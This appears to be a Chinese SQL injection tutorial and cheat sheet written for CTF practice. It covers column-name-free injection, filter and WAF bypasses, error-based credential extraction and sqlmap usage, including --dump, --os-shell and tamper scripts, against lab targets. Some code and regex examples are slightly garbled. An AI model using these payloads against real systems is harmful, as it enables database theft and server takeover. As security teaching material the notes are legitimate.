$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; |
# 十五、无列名注入
Mysql 版本 > 5 时,都会存在一个元数据库
information_schema
,其中记录着 mysql 所有库、以及表的结构,我们通常的 sql 注入手段即是通过该元数据库来获取到其它库以及表的信息。那如果这个information_schema
被过滤掉了该怎么办?
# 15.1 使用别的具有类似功能的库
除了 information_schema
中存在 tables schemata columns
等表的信息外,在高版本当中还存在 INNODB_TABLES
INNODS_COLUMNS
中也记录着表的结构。
# 15.1.1 sys 数据库
-
利用 mysql5.7 新增的 sys.schema_auto_increment_columns
基础数据来自与 information_schema, 他的作用是对表的自增 ID 进行监控,也就是说,如果某张表存在自增 ID,就可以通过该视图来获取其表名和所在数据库名
关于该表的视图 https://www.docs4dev.com/docs/zh/mysql/5.7/reference/sys-schema-auto-increment-columns.html
- sys.schema_table_statistics_with_buffer
# 利用语句
#查数据库
select table_schema from sys.schema_auto_increment_columns;
#查表
select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema = database();
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database();
与它表结构相似的视图还有
sys.x$schema_table_statistics_with_buffer
sys.x$schema_table_statistics
sys.x$ps_schema_table_statistics_io
参考:https://www.docs4dev.com/docs/zh/mysql/5.7/reference/sys-schema-redundant-indexes.html
# 15.1.2 mysql 默认存储引擎 INNODB 所携带的表
- mysql.innodb_table_stats
- mysql.innodb_index_stats
# 15.2 union select 构造虚表
实验:
select * from `users`;
select 1,2,3 union select * from users;
mysql> select 1,2,3 union select * from users;
+----+----------+------------+
| 1 | 2 | 3 |
+----+----------+------------+
| 1 | 2 | 3 |
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | 321 |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | Dummy'# | 123 |
+----+----------+------------+
15 rows in set (0.00 sec)
# 我们将列名替换成为了 数字 1,2,3
# 那么我们就可以使用数字来对应其中的列名
mysql> select `2` from (select 1,2,3 union select * from users)a;
+----------+
| 2 |
+----------+
| 2 |
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
| Dummy'# |
+----------+
15 rows in set (0.00 sec)
# 这时我们已经取到了第二列的内容
# 当 `` 被过滤时,使用别名代替
mysql> select b from (select 1,2 as b,3 union select * from users)a;
+----------+
| b |
+----------+
| 2 |
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
| Dummy'# |
+----------+
15 rows in set (0.00 sec)
# 同时查询多列
mysql> select concat(`2`,0x5e,`3`) from (select 1,2,3 union select * from users)a;
+----------------------+
| concat(`2`,0x5e,`3`) |
+----------------------+
| 2^3 |
| Dumb^Dumb |
| Angelina^I-kill-you |
| Dummy^321 |
| secure^crappy |
| stupid^stupidity |
| superman^genious |
| batman^mob!le |
| admin^admin |
| admin1^admin1 |
| admin2^admin2 |
| admin3^admin3 |
| dhakkan^dumbo |
| admin4^admin4 |
| Dummy'#^123 |
+----------------------+
15 rows in set (0.00 sec)
# select concat(`2`,0x5e,`3`) from (select 1,2,3 union select * from users)a limit 0,1;
# 15.3 JOIN 爆破
本质:通过 报错 得到列名
- join 连接两张表
- using () 用于两张表之间的 join 连接查询,并且 using () 中的列在两张表中都存在,作为 join 的条件
# 常用语句 select * from (select * from 表名 as a join 表名 as b)as c;
# 一一爆字段
select * from (select * from users as a join news as b)as c;
select * from (select * from users a join users b using(id))c;
select * from (select * from users a join users b using(id,name))c;
# 爆内容
select * from (select * from users a join users b using(id,name,passwd))c;
测试 :
创建表:
create table users(id int,name varchar(20),passwd varchar(32));
insert into users value(1,'mickey','827ccb0eea8a706c4c34a16891f84e7b');
create table news(is_admin int(1),id int(2),title varchar(100),date date);
insert into news values(1,1,'hello,mickey',now());
# 爆列名
mysql> select * from (select * from users as a join news as b)as c;
ERROR 1060 (42S21): Duplicate column name 'id'# 重复的列名
mysql> select * from (select * from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'
mysql> select * from (select * from users a join users b using(id,name))c;
ERROR 1060 (42S21): Duplicate column name 'passwd'
# 爆内容
mysql> select * from (select * from users a join users b using(id,name,passwd))c;
+------+--------+----------------------------------+
| id | name | passwd |
+------+--------+----------------------------------+
| 1 | mickey | 827ccb0eea8a706c4c34a16891f84e7b |
+------+--------+----------------------------------+
1 row in set (0.00 sec)
# 爆列名
mysql> select * from (select * from news a join news b using(id))as c;
ERROR 1060 (42S21): Duplicate column name 'is_admin'
mysql> select * from (select * from news a join news b using(id,is_admin))as c;
ERROR 1060 (42S21): Duplicate column name 'title'
mysql> select * from (select * from news a join news b using(id,is_admin,title))as c;
ERROR 1060 (42S21): Duplicate column name 'date'
# 爆内容
mysql> select * from (select * from news a join news b using(id,is_admin,title,date))as c;
+----------+------+--------------+------------+
| is_admin | id | title | date |
+----------+------+--------------+------------+
| 1 | 1 | hello,mickey | 2021-07-26 |
+----------+------+--------------+------------+
1 row in set (0.04 sec)
# 十六、Mysql 查询语句 之 Handler
官方文档
- mysql 除可使用 select 查询表中的数据,也可使用 handler 语句,它每次只能查询 1 条记录,而 select 可以根据需要返回多条查询结果。因此 handler 语 句并不具备 select 语句的所有功能。它是 mysql 专用的语句,并没有包含到 SQL 标准中。
- HANDLER 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。
- 可以降低优化器对于 SQL 语句的解析与优化开销,从而提升查询性能。
测试:
create database practice;
use practice;
create table handler_table(id int,username varchar(10));
desc handler_table;
insert into handler_table values(1,'李华');
insert into handler_table values(2,'小马');
insert into handler_table values(3,'张鑫');
insert into handler_table values(4,'周明');
insert into handler_table values(5,'蔡紫');
select * from handler_tables;
不通过索引查表:
#打开句柄
handler handler_table open;
#查询数据
handler handler_table read first;
handler handler_table read next;
handler handler_table read next;
handler handler_table read next;
handler handler_table read next;
#关闭句柄
handler handler_table close;
mysql> handler handler_table close;
Query OK, 0 rows affected (0.00 sec)
mysql> handler handler_table read next;
ERROR 1109 (42S02): Unknown table 'handler_table' in HANDLER
通过索引查表:需要创建索引
#以 handler_table 中的 id 字段创建索引,命名为 handler_index
create index handler_index on handler_table(id);
#打开句柄,命名为 p
handler handler_table open as p;
#查看数据
handler p read handler_index first;#第一行
handler p read handler_index next;#下一行
handler p read handler_index prev;#上一行
handler p read handler_index last;#最后一行
#关闭句柄
handler p close;
#以 handler_table 中的 id 字段创建索引,命名为 handler_index
create index handler_index on handler_table(id);
#打开句柄
handler handler_table open;
#查看特定位置的数据
handler p handler_table read handler_index=(3);
handler handler_table read handler_index first;#查第一条
handler handler_table read handler_index next;#查下一条
handler handler_table read handler_index prev;#查上一条
handler handler_table read handler_index last;#查最后一条
#关闭句柄
handler handler_table close;
#删除索引
drop index handler_index on handler_table;
Handler 与 select 的比较:
- select 语句一次返回所有相关行,handler 每次返回一行
- HANDLER 涉及的分析较少,比 SELECT 更快
- 没有优化程序或查询校验开销
- 在两个管理程序请求之间,不需要锁定表。
参考
- 预处理:
MySQL 官方将 prepare、execute、deallocate 统称为 PREPARE STATEMENT。翻译也就习惯的称其为预处理语句。
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
相关题目:
Web 226 (预处理)
# 十七、绕过姿势 str_replace ()
任何的表名、数据库名都可以使用十六进制代替
?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 0x7365637572697479),3--+
万能密码: $sql="select * from test where username=' XX ' and password=' XX ' ";
# 不知用户名时
' or 1--+ # 注释闭合
' or '1'='1 # 手动闭合
' or '1'='1'# # 使用了注释#
# 知道一个用户名
admin' or '1'='1
# 可尝试
1'or(1)#
过滤 注释:
法一:截断 ;%00
;%00
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1);%00
法二:手动闭合
1'and'1'='1
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)and'1'='1
过滤空格:
括号包围:对于一些字段名可使用括号包围
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1);%0
字符编码绕过:
# 可以绕过空格的编码:
%09 Tab键-水平
%0a 换行
%0c 换页
%0b Tab键-垂直
%0d
%00
%a0 在特定字符集才可使用
# 特殊的
/**/
大小写绕过:
Mysql 中,关键字是不区分大小写的,如果仅仅是过滤了 select
,那么我们可以使用 SelECt
,进行大小写混写绕过。
正则匹配:
正则如果匹配 \bselect\b
,我们可以使用 /!50000select/
绕过。
一次过滤:双写绕过:
$id=preg_replace('/or/i',"",$id);
$id=preg_replace('/and/i',"",$id);
$id=preg_replace('/select/i',"",$id);
and or 过滤:双写绕过,或者是 &&–>%26%26 ||–>%7c%7c
?id=1'||updatexml(1,concat(0x7e,database(),0x7e),1);%00
?id=1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1
过滤了单双引号,但没有过滤 反斜杠
例如:sql 语句
$sql="select * from nres where id='可控参数1' and title='可控参数2'";
我们可以进行如下构造,不使用 单双引号,利用反斜杠
id=a\
title=or sleep(3)#
#这样拼起来的 sql 语句就是
$sql="select * from nres where id='a\' and title='or sleep(3)#'";
# 如此,or sleep(3)# 便成了一个整体,将会成功执行后面的 sleep(3)
使用
select * from users where id='a\' and username=' or sleep(2)#'
select * from users where id='a\' and username='union select 1,2,(select concat(username,0x7e,password) from users limit 1)#'
引号逃逸:其实就是由于做了转义
对单引号、双引号等进行转义之后,在一定程度上妨碍了我们的注入,当遇到这种情况,我们可以考虑:宽字节注入、二次注入、HTTP 头部注入
字符串截断:
在一些标题等位置,开发者一般会限制标题的字符长度,如果超过,有可能会被截断。
代码:
<?php | |
$conn = mysqli_connect('127.0.0.1','root','123456','security'); | |
$title = addslashes($_GET['title']); | |
echo $title; | |
$title = substr($title,0,10); #做了截断处理 | |
echo '<br />'.$title; | |
echo '<h1>$title</h1>'; | |
$content = addslashes($_GET['content']); | |
echo $content; | |
$sql = "insert into users values(15, '′title′,content')"; | |
echo '<br />'.$sql; | |
$res = mysqli_query($conn,$sql); | |
?> |
如果攻击者想进行 sql 注入测试,可以选择输入 aaaaaaaaa'
,则经过转义之后,将会变为 aaaaaaaaa'
,但是由于后面的截断,将变成 aaaaaaaaa
。
使用:
?title=aaaaaaaaa\'&content=,1),(16,321,2)--+
这样拼接到 sql 语句中就变成
insert into news values(15, 'aaaaaaaaa\' , ',1),(16,321,2)--+')
这样 由于转义使得 aaaaaaaaa' ,
成为了由单引号包围的一部分,也就成功执行了 插入语句。
# 十八、其它
- 在以上的任何一个注入方式中,都有可能对用户所输入的内容进行编码,例如进行
base64
编码,我们进行爆破时要记得编码; - Nosql 注入 https://www.cnblogs.com/bonelee/p/12158385.html
- limit 注入:
https://www.jb51.net/article/99980.htm
?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)
# 十九、解决查内容时一次显示不全
方法一:一条一条查
and updatexml(1,concat(0x5e,(select concat(username,'~',password) from security.users limit 0,1),0x5e),1)#
and updatexml(1,concat(0x5e,(select concat_ws('~',username,password) from security.users limit 0,1),0x5e),1)#
方法二:substr (,)
# 每次查30个字符
and updatexml(1,concat(0x5e,(select substr(group_concat(concat_ws('~',username,password)),1,30) from security.users),0x5e),1)#
and updatexml(1,concat(0x5e,(select substr(group_concat(concat_ws('~',username,password)),31,30) from security.users),0x5e),1)#
# 二十 SQLmap 的使用:
- 常用语法:
--dbs //查数据库 | |
--tables //查表 | |
--columns //查列 | |
--dump //查记录 | |
--batch //自动确认 | |
--fresh-queries //清理缓冲 | |
python3 sqlmap.py -u "" --dump --batch | |
* 查库 | |
python3 sqlmap.py -u "http://5c50afc3-61fb-45c0-8ec0-6694bfb2c853.challenge.ctf.show:8080/sqlmap.php/?id=1" --user-agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36" --referer="http://5c50afc3-61fb-45c0-8ec0-6694bfb2c853.challenge.ctf.show:8080/sqlmap.php" --dbs --batch | |
* 查表 | |
python3 sqlmap.py -u "http://5c50afc3-61fb-45c0-8ec0-6694bfb2c853.challenge.ctf.show:8080/sqlmap.php/?id=1" --user-agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36" --referer="http://5c50afc3-61fb-45c0-8ec0-6694bfb2c853.challenge.ctf.show:8080/sqlmap.php" -D ctfshow_web --tables --batch | |
* 查列 | |
python3 sqlmap.py -u "http://5c50afc3-61fb-45c0-8ec0-6694bfb2c853.challenge.ctf.show:8080/sqlmap.php/?id=1" --user-agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36" --referer="http://5c50afc3-61fb-45c0-8ec0-6694bfb2c853.challenge.ctf.show:8080/sqlmap.php" -D ctfshow_web -T ctfshow_user --columns --batch | |
* 查记录 | |
python3 sqlmap.py -u "http://5c50afc3-61fb-45c0-8ec0-6694bfb2c853.challenge.ctf.show:8080/sqlmap.php/?id=1" --user-agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36" --referer="http://5c50afc3-61fb-45c0-8ec0-6694bfb2c853.challenge.ctf.show:8080/sqlmap.php" -D ctfshow_user -T ctfshow_user -C pass --dump --batch |
post 方式提交参数:
--data="id=1" |
修改提交方式为 PUT, 并提交 --method="put" --headers="content-type:/text/plain"
sqlmap -u "http://1b93c376-c171-4363-b25c-914615eae8b1.challenge.ctf.show:8080/api/index.php" --dump --data="id=1" --refer="http://9232b9b4-e847-4e9d-99e6-b66ca796344f.challenge.ctf.show:8080/sqlmap.php" --method="put" --headers="content-type:text/plain" |
设置安全链接:
–safe-url 设置在测试目标地址前访问的安全链接 | |
–safe-freq 设置两次注入测试前访问安全链接的次数 |
例子:
python3 sqlmap.py -u "http://d04b499a-1159-43c6-b8aa-3b35a5f40e8b.challenge.ctf.show:8080/api/index.php" --data="id=1" -safe-url="http://d04b499a-1159-43c6-b8aa-3b35a5f40e8b.challenge.ctf.show:8080/api/getToken.php" --method="put" --headers="content-type:text/plain" -safe-freq=1 --dump --batch --referer="http://d04b499a-1159-43c6-b8aa-3b35a5f40e8b.challenge.ctf.show:8080/sqlmap.php" --cookie="PHPSESSID=dbee2h213qohj1kktovej8hstp" |
脚本的使用:
--tamper="tamper/space2comment.py" | |
--tamper //使用给定的脚本篡改注入的数据 | |
space2comment.py用/**/代替空格 | |
apostrophemask.py用utf8代替引号 | |
equaltolike.py like代替等号 | |
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’) | |
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 | |
space2hash.py空格替换为#号,随机字符串以及换行符 | |
apostrophenullencode.py绕过过滤双引号,替换字符和双引号。 | |
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论 | |
space2morehash.py空格替换为 #号 以及更多随机字符串 换行符 | |
appendnullbyte.py在有效负荷结束位置加载零字节字符编码 | |
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ | |
space2mssqlblank.py(mssql)空格替换为其它空符号 | |
base64encode.py 用base64编码替换 | |
space2mssqlhash.py 替换空格 | |
modsecurityversioned.py过滤空格,包含完整的查询版本注释 | |
space2mysqlblank.py 空格替换其它空白符号(mysql) | |
between.py用between替换大于号(>) | |
space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) | |
multiplespaces.py围绕SQL关键字添加多个空格 | |
space2plus.py用+替换空格 | |
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like | |
nonrecursivereplacement.py双重查询语句,取代SQL关键字 | |
space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集 | |
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | |
chardoubleencode.py双url编码(不处理以编码的) | |
unionalltounion.py替换UNION ALLSELECT UNION SELECT | |
charencode.py url编码 | |
randomcase.py 随机大小写 | |
unmagicquotes.py宽字符绕过 GPCaddslashes | |
randomcomments.py用/**/分割sql关键字 | |
charunicodeencode.py字符串 unicode 编码 | |
securesphere.py追加特制的字符串 | |
versionedmorekeywords.py注释绕过 | |
space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’ | |
halfversionedmorekeywords.py关键字前加注释 | |
--os-shell参数 |
获取 shell,直接写上即可
# 总结:regexp 正则匹配速查表
# 使用 | |
<内容> regexp '正则表达式' |
选项 | 说明 | 例子 | 匹配值示例 |
---|---|---|---|
^ | 匹配文本的开始字符 | ‘^b’ 匹配以字母 b 开头的字符串 | book、big、banana、bike |
$ | 匹配文本的结束字符 | ‘st$’ 匹配以 st 结尾的字符串 | test、resist、persist |
. | 匹配任何单个字符 | ‘b.t’ 匹配任何 b 和 t 之间有一个字符 | bit、bat、but、bite |
* | 匹配零个或多个在它前面的字符 | ‘f*n’ 匹配字符 n 前面有任意个字符 f | fn、fan、faan、abcn |
+ | 匹配前面的字符 1 次或多次 | ‘ba+’ 匹配以 b 开头,后面至少紧跟一个 a | ba、bay、bare、battle |
<字符串> | 匹配包含指定字符的文本 | ‘fa’ 匹配包含‘fa’的文本 | fan、afa、faad |
[字符集合] | 匹配字符集合中的任何一个字符 | ‘[xz]’ 匹配 x 或者 z | dizzy、zebra、x-ray、extra |
[^ ] | 匹配不在括号中的任何字符 | ‘[^abc]’ 匹配任何不包含 a、b 或 c 的字符串 | desk、fox、f8ke |
字符串 | 匹配前面的字符串至少 n 次 | ‘b {2}’ 匹配 2 个或更多的 b | bbb、bbbb、bbbbbbb |
字符串 | 匹配前面的字符串至少 n 次, 至多 m 次 | ‘b {2,4}’ 匹配最少 2 个,最多 4 个 b | bbb、bbbb |
匹配中文时: regexp '(文字)'
regexp '[文字]' #报错
regexp '文字'
like '文字'